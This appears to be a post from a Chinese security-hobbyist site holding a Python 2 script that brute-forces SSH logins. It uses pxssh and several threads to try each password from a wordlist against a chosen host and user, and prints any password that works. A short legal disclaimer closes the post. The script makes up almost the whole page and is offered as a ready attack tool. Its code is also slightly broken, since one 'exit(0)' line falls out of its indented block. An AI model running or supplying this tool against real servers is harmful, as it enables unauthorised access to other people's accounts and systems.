Loading
0

python 暴力破解SSH

import pxssh
import optparse
import time
from threading import *
#最大线程数量控制数
maxConnections=5
connection_lock=BoundedSemaphore(value=maxConnections)
#Found  为密码成功破解后退出程序的信号
Found=False
#Fails SSH连接数超过限制后会触发异常,触发异常后重新尝试
Fails=0
def connect(host,user,password,release):
        global Found
        global Fails
        global threadExit
        try:
                s=pxssh.pxssh()
                s.login(host,user,password)
                print '[+] Password Found: '+password
                Found=True
        except Exception,e:
                if 'read_nonblocking' in str(e):
                        Fails+=1
                        if Fails>4:
                                print "[!] Exiting:Too Many Socket Timeout"
                        time.sleep(1)
                        connect(host,user,password,False)
                elif 'synchronize with original prompt' in str(e):
                        print "time sleep(1)"
                        time.sleep(1)
                        connect(host,user,password,False)
        finally:
                #线程代码执行后释放锁
                if release:
                        connection_lock.release()
def main():
        parser=optparse.OptionParser('usage %prog '+\
                '-H  -u  -F ')
        parser.add_option('-H',dest='tgtHost',type='string',\
                help='specify target host')
        parser.add_option('-F',dest='passwdFile',type='string',\
                help='specify password file')
        parser.add_option('-u',dest='user',type='string',\
                help='specify the user')
        (options,args)=parser.parse_args()
        tgtHost=options.tgtHost
        user=options.user
        passwdFile=options.passwdFile
        print tgtHost
        print user
        print passwdFile
        host=options.tgtHost
        passwdFile=options.passwdFile
        user=options.user
        if host ==None or passwdFile ==None or user ==None:
                print parser.usage
exit(0)
        fn=open(passwdFile,'r')
        for line in fn.readlines():
                password=line.strip('\r').strip('\n')
                #代码开始执行时,添加锁
                connection_lock.acquire()
                print "[-]Testing : "+str(password)
                t=Thread(target=connect,args=(host,user,\
                        password,True))
                child=t.start()
                if Found:
                        print "[*] Exiting:Password Found"
                        exit(0)
if __name__=='__main__':
        main()
【声明】:8090安全小组门户(http://www.8090-sec.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们:邮箱hack@ddos.kim,我们会在最短的时间内进行处理。